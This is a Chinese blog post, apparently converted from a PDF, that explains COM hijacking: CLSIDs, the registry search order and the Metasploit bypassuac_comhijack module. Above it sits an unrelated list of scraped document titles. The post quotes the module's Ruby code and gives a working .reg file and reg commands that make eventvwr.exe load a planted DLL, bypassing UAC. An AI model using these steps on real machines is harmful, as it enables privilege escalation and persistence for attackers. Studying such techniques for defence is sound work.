COM Hijacking · 倾旋的博客

Similar documents
範本檔

序 文 藝 社 (Society of Chinese Literature) 在 去 年 暑 假 開 始 籌 措 成 立, 二 零 一 三 年 九 月 正 式 展 開 所 有 活 動 文 藝 社 成 立 的 目 的 旨 在 讓 學 生 學 習 欣 賞 歷 代 名 篇 名 作, 其 中 以 古 典

概述

Partition Key: 字 符 串 类 型, 表 示 当 前 Entity 的 分 区 信 息 这 个 Property 对 于 Table Service 自 动 纵 向 和 横 向 扩 展 至 关 重 要 Row Key: 字 符 串 类 型, 在 给 定 Partition Key 的

计算机网络与经济(二).doc

教 务 信 息 教 学 日 常 运 行 工 作 4 月 6 日, 教 务 部 高 丽 琴 老 师 参 加 南 昌 市 教 育 局 2016 年 中 小 学 教 师 资 格 认 定 工 作 培 训 会 2016 年 教 师 资 格 认 定 工 作 是 从 省 考 向 国 考 过 渡 后 的 第 一 次

Microsoft PowerPoint ?????????3 [Compatibility Mode]

派遣公司人力資源管理措施對派遣人員離職傾向之影響:

( Version 0.4 ) 1

团 学 要 闻 我 校 召 开 共 青 团 五 届 九 次 全 委 ( 扩 大 ) 会 议 3 月 17 日, 我 校 共 青 团 五 届 九 次 全 委 ( 扩 大 ) 会 议 在 行 政 办 公 楼 五 楼 会 议 室 举 行, 校 团 委 委 员 各 院 ( 系 ) 团 委 书 记 校 学 生

<4D F736F F D20D1A7C9FACAD6B2E1B8C4D7EED6D5A3A8B4F8B1EDB8F1BCD3D2B3C2EBB0E6A3A9372E3239>

桂林市劳动和社会保障局关于

第三章 維修及管理

Microsoft Word 年度选拔硕博连读研究生的通知.doc

Microsoft Word - 正文.doc

ebook140-8

Ps22Pdf

ebook

ARP ICMP

\\data\美工部备份\cyt\期刊\印刷

目 录 第 一 部 分 档 案 局 概 况 一 主 要 职 责 二 部 门 决 算 单 位 构 成 第 二 部 分 档 案 局 2016 年 度 部 门 预 算 表 一 2016 年 度 市 级 部 门 收 支 预 算 总 表 二 2016 年 度 市 级 部 门 支 出 预 算 表 三 2016

2015 年 度 收 入 支 出 决 算 总 表 单 位 名 称 : 北 京 市 朝 阳 区 卫 生 局 单 位 : 万 元 收 入 支 出 项 目 决 算 数 项 目 ( 按 功 能 分 类 ) 决 算 数 一 财 政 拨 款 一 一 般 公 共 服 务 支 出 二

1. Revo Uninstaller Pro Revo Uninstaller Pro Revo Uninstaller Pro Revo Uninstaller Pro Revo Uninsta ller Pro Revo Uninstaller Pro Revo Uninstaller Pro

《捕捉儿童敏感期》

2 國 文 考 科 試 題 解 析 命 題 出 處 與 南 一 版 第 五 冊 第 二 課 幽 夢 影 選 課 程 內 涵 同 試 題 解 析 某 君 講 信 用, 重 然 諾, 行 事 穩 健, 工 作 負 責 較 符 合 謹 飭 友 謹 飭 友 指 的 是 言 行 謹 慎 而 有 節 制 的 朋

untitled

29 碳 酸 钙 D3 片 ( 别 名 维 生 素 D3 碳 酸 钙 ) 吉 林 省 第 一 批 低 价 药 30 炔 诺 酮 滴 丸 吉 林 省 第 一 批 低 价 药 31 去 氯 羟 嗪 片 吉 林 省 第 一 批 低 价 药 32 茶 苯 海 明 片 吉 林 省 第 一 批 低 价 药 33

穨飲食與養老_決定版_.PDF

untitled

untitled

InstallShield InstallShield InstallShield Windows Installer ISWI ISWI InstallShield InstallShield InstallShield Windows Installer WI In

「人名權威檔」資料庫欄位建置表

由社會發展趨勢探討國人睡眠品質

(untitled)

ebook65-5


24 第 3 章 创 建 Access 数 据 库 和 表 3.1 创 建 Access 数 据 库 Access 2003 中 的 数 据 库 属 于 关 系 型 数 据 库, 以.mdb 为 文 件 的 后 缀, 建 立 一 个 数 据 库 的 同 时, 就 创 建 了 数 据 库 中 的 对

財金資訊-80期.indd

目錄

! " # $ % & (( %) "*+,- &.(/-) & ( 0 & 1! % " % # % & & $ % "/()%!"# (( (02-03 /(((.1/.2( 4 //). /$0 3)0%. /1/%-2 (( ) / ((0 // "*+,- &.(/-) & ( 0 & 1

第 7 章 下 一 代 网 际 协 议 IPv6 141 足 的 措 施 只 能 是 权 宜 之 计 (3) 路 由 表 膨 胀 早 期 IPv4 的 地 址 结 构 也 造 成 了 路 由 表 的 容 量 过 大 IPv4 地 址 早 期 为 网 络 号 + 主 机 号 结 构, 后 来 引 入

26 全 教 總 理 事 會 澎 湖 27 市 產 總 工 會 幹 部 教 育 訓 練 新 市 區 文 康 育 樂 中 心 28 教 育 部 教 師 評 鑑 制 度 規 畫 ( 草 案 ) 說 明 會 嘉 義 北 興 國 小 29 教 師 聘 約 訂 說 明 會 培 文 國 小 歸 仁 國 小 30


epub83-1

概述

B

ebook14-4

! "#$% & ())*! ++, +- +.)! ++ ())* / 0!!""#!

南華大學數位論文

untitled

无类继承.key

目 录 概 述 背 景 社 会 背 景 行 业 背 景 需 求 分 析..6 3 优 势 分 析 资 源 优 势 品 牌 优 势 技 术 优 势 用 户 体 验.....

研究生平台使用指导书.doc

《新工具》

世界中医药学会联合会中药新型给药系统专业委员会换届改选议程

计算机在汉语研究中的应用――以字频统计为例

國 立 台 南 二 中 104 學 年 度 第 二 學 期 第 一 次 期 中 考 高 三 國 文 科 解 答 壹 選 擇 題 1 B 2 B 3 C 4 A 5 A 6 C 7 B 8 C 9 B 10 D 11 A 12 D 13 A 14 B 15 B 16 D 17 A 18 AB 19 E

中區-29屆授證特刊內頁

0 配置 Host MIB 设备 V ( 简体版 ) 0 Update: 2016/1/30

( )


ebook43-11

ebook20-2

深圳市跨境易电子商务有限公司

(HMI) IO A

1 1 大概思路 创建 WebAPI 创建 CrossMainController 并编写 Nuget 安装 microsoft.aspnet.webapi.cors 跨域设置路由 编写 Jquery EasyUI 界面 运行效果 2 创建 WebAPI 创建 WebAPI, 新建 -> 项目 ->

2

DB4404-P059-專輯-BIM的非幾何資訊.indd

/ / (FC 3)...

VB程序设计教程

( CIP. :, / ISBN D CIP ( ( 010) ( ) ( 010) / ( ) ( 010) 884

一、

1. 课 题 研 究 的 背 景 及 现 状 据 统 计, 目 前 中 国 围 棋 人 口 已 经 已 超 过 了 4000 万, 同 时 学 棋 的 孩 童 显 著 呈 现 低 龄 化 的 趋 势, 虽 然 表 面 看 来, 很 多 培 训 机 构 都 有 不 少 孩 子 在 学 棋, 但 容 易

标题

RUN_PC連載_12_.doc

Microsoft Word - 8. 以通俗之教化民成俗:晚明经学家郝敬《圣谕俗讲》.doc

终端安全2

终端安全10

書冊99.indb

S 可编程控制器

9301reply-c

Fun Time (1) What happens in memory? 1 i n t i ; 2 s h o r t j ; 3 double k ; 4 char c = a ; 5 i = 3; j = 2; 6 k = i j ; H.-T. Lin (NTU CSIE) Referenc

Microsoft Word zw

第壹拾篇

前言

计算机网络概论

FD-S2w OS X / macos / Windows Ver. 1.3x CS

ebook140-9

《人员招聘与任用》

(精校版)陕西省语文卷文档版(含答案)-2011年普通高等学校招生统一考试.doc

untitled

untitled

untitled

方針-C (供上網)

ebook129-9

ebook46-23

epub 61-2


國家圖書館典藏電子全文

AL-M200 Series

Transcription:

COM Hijacking 本文介绍一下 COM 劫持的原理 0x00 COM COM 是 Component Object Model ( 组件对象模型 ) 的缩写 COM 是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术 在 COM 构架下, 人们可以开发出各种各样的功能专一的组件, 然后将它们按照需要组合起来, 构成复杂的应用系统 0x01 COM 首先需要介绍一下注册表 (https://docs.microsoft.com/enus/windows/desktop/sysinfo/about-the-registry), 注册表可以理解为一个树状结构的 数据库, 它具有一些特殊的数据类型用来存储一些数据满足应用程序的需要 名称 HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_CURRENT_USER HKEY_CURRENT_USER_LOCAL_SETTINGS HKEY_LOCAL_MACHINE HKEY_USERS 作用用于存储一些文档类型 类 类的关联属性 用户存储有关本地计算机系统的当前硬件配置文件信息 用于存储当前用户配置项 用于存储当前用户对计算机的配置项 用于存储当前用户物理状态 用于存储新用户的默认配置项 HKEY_CLASSES_ROOT (https://docs.microsoft.com/enus/windows/desktop/sysinfo/hkey-classes-root-key) = HKEY_LOCAL_MACHINE + HKEY_CURRENT_USER CLSID 首先需要介绍一下 CLSID(Class Identifier), 中文翻译为 : 全局唯一标识符 https://payloads.online/archivers/2018-10-14/1 1/9

CLSID 是指 Windows 系统对于不同的应用程序, 文件类型,OLE 对象, 特殊文件夹以及各种系统组件分配的一个唯一表示它的 ID 代码, 用于对其身份的标识和与其他对象进行区分 也就是说 CLSID 就是对象的身份证号, 而当一个应用程序想要调用某个对象时, 也是通过 CLSID 来寻找对象的 按下 Ctrl+R 打开运行窗口, 键入 ::{20D04FE0-3AEA-1069-A2D8-08002B30309D} 即可打 开 我的电脑 回收站的 CLISD 是 : ::{645FF040-5081-101B-9F08-00AA002F954E} https://payloads.online/archivers/2018-10-14/1 2/9

CLSID CLSID 结构体 : typedef struct _GUID { DWORD Data1; // WORD Data2; // WORD Data3; // BYTE Data4[8]; // MAC } GUID; typedef GUID CLSID; // ID typedef GUID IID; // ID 通过操作系统提供的结构体与 API 来创建 CLSID, 保障唯一性 CLSID 常见 CLSID Key: Key Name InprocHandler32 InprocServer32 说明 指定应用程序使用的自定义处理程序 注册 32 位进程所需要的模块 线程属性配置 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID {CLSID} InprocServer32 (Default) = path ThreadingModel = value 更多介绍 (https://docs.microsoft.com/zh-cn/windows/desktop/com/clsid-key-hklm) 0x01 COM 使用 Process Monitor 可以清楚的看到应用程序的寻找过程 : 1.HKCU\Software\Classes\CLSID 2.HKCR\CLSID 3.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\ HKCU 即 HKEY_CURRENT_USER https://payloads.online/archivers/2018-10-14/1 3/9

0x02 COM 当进程寻找 COM 组件时, 首先会寻找 : HKCU\Software\Classes\CLSID 我们直接在 CLSID 下新建一个对象 ID, 就能够劫持某个进程或多个进程 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID {CLSID} InprocServer32 (Default) = path ThreadingModel = value 与 DLL 劫持原理相近, 但是 COM 组件的劫持可以拓展很多东西, 劫持的目标不一定是一个进程, 劫持所需的文件不一定是一个 DLL, 它可以是一个.com 文件 二进制 PE 文件 DLL 文件, 劫持的目标也可以是一个 Windows API 0x03 COM metasploitframework/embedded/framework/modules/exploits/windows/local/bypassuac_comhijack.rb 使用 bypassuac_comhijack 模块能够将属于 Administrators 组的普通用户提升至管理员权限 下面我们分析一下代码 : 首先它会检查 payload 和操作系统是否支持, 然后检测是否是最高权限 根据你配置的 payload 来生成一个 DLL 木马 : payload = generate_payload_dll({:dll_exitprocess => true}) commspec = expand_path('%comspec%') dll_name = expand_path("%temp%\\#{rand_text_alpha(8)}.dll") https://payloads.online/archivers/2018-10-14/1 4/9

COM 劫持配置项 : @@hijack_points = [ { name: 'Event Viewer', cmd_path: '%WINDIR%\System32\eventvwr.exe', class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931'] }, { name: 'Computer Managment', cmd_path: '%WINDIR%\System32\mmc.exe', cmd_args: 'CompMgmt.msc', class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931'] } ] 该模块支持两种命令启动方式 : %WINDIR%\System32\eventvwr.exe %WINDIR%\System32\mmc.exe CompMgmt.msc 劫持的 CLSID 相同 : 0A29FF9E-7F9C-4437-8B11-F424491E3931 创建注册表 : target = @@hijack_points.sample target_clsid = target[:class_ids].sample root_key = "#{CLSID_PATH}\\{#{target_clsid}}" inproc_key = "#{root_key}\\inprocserver32" shell_key = "#{root_key}\\shellfolder" registry_createkey(root_key, registry_view) registry_createkey(inproc_key, registry_view) registry_createkey(shell_key, registry_view) registry_setvaldata(inproc_key, DEFAULT_VAL_NAME, dll_path, 'REG_SZ', re gistry_view) registry_setvaldata(inproc_key, 'ThreadingModel', 'Apartment', 'REG_SZ', registry_view) registry_setvaldata(inproc_key, 'LoadWithoutCOM', '', 'REG_SZ', registry _view) registry_setvaldata(shell_key, 'HideOnDesktop', '', 'REG_SZ', registry_v iew) registry_setvaldata(shell_key, 'Attributes', 0xf090013d, 'REG_DWORD', re gistry_view) { name: target[:name], cmd_path: target[:cmd_path], cmd_args: target[:cmd_args], root_key: root_key } https://payloads.online/archivers/2018-10-14/1 5/9

注册表项分别是 : HKCU\Software\Classes\CLSID{0A29FF9E-7F9C-4437-8B11- F424491E3931}\InProcServer32 HKCU\Software\Classes\CLSID{0A29FF9E-7F9C-4437-8B11- F424491E3931}\ShellFolder InProcServer32 中有 Key: Default -> %TEMP%\ 八位随机数.dll ThreadingModel -> Apartment ShellFolder 中有 Key: LoadWithoutCOM -> 空 HideOnDesktop -> 空 Attributes -> 0xf090013d 创建完毕后, 会启动 cmd.exe /c eventvwr.exe, 接着会反弹回来一个管理员会话 手动测试可以将以下文件保存为 test.reg : https://payloads.online/archivers/2018-10-14/1 6/9

Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3 931}] [HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3 931}\InProcServer32] @="C:\\Temp\\calc.dll" "ThreadingModel"="Apartment" "LoadWithoutCOM"="" [HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3 931}\ShellFolder] "HideOnDesktop"="" "Attributes"=dword:f090013d 中间的 C:\\Temp\\calc.dll 可以更改为你想要注入的 DLL 路径 ( 支持绝对路径 ) 也可以使用 command 方式 : 24491E3931}\InProcServer32 /v "" /t REG_SZ /d "C:\Temp\calc.dll" /f 24491E3931}\InProcServer32 /v "LoadWithoutCOM" /t REG_SZ /d "" /f 24491E3931}\InProcServer32 /v "ThreadingModel" /t REG_SZ /d "Apartment" /f 24491E3931}\ShellFolder /v "HideOnDesktop" /t REG_SZ /d "" /f 24491E3931}\ShellFolder /v "Attributes" /t REG_DWORD /d f090013d /f eventvwr.exe 将会寻找 {0A29FF9E-7F9C-4437-8B11-F424491E3931} 这个组件, 而这个组件又需要加载 InProcServer32 指定的 DLL, 这个 DLL 的路径就是 MSF 上传的木马 DLL 当 DLL 一旦加载到 eventvwr.exe 这个进程中,Windows 会复制一个管理员的 Access Token 给这个 DLL 创建的进程 0x03 Bypass UAC 这个其实准备在后面深度剖析的, 还是要解释一下 如果劫持 explorer.exe 能不能 Bypass UAC 呢? 答案 : 不行因为 eventvwr.exe 如果是被管理员组的用户打开, 将会自动提升权限,Windows 中会有很多这类的应用程序 https://payloads.online/archivers/2018-10-14/1 7/9

正是因为具有自动提升权限的属性, 我们劫持后, 就不会触发 UAC 了, 直接获得有管理 员权限 上面说的只是一种方式, 还有多种方式, 后面我将会介绍 :UAC 基础 如何挖掘 Bypass UAC 的方法 QR code https://payloads.online/archivers/2018-10-14/1 8/9

https://payloads.online/archivers/2018-10-14/1 9/9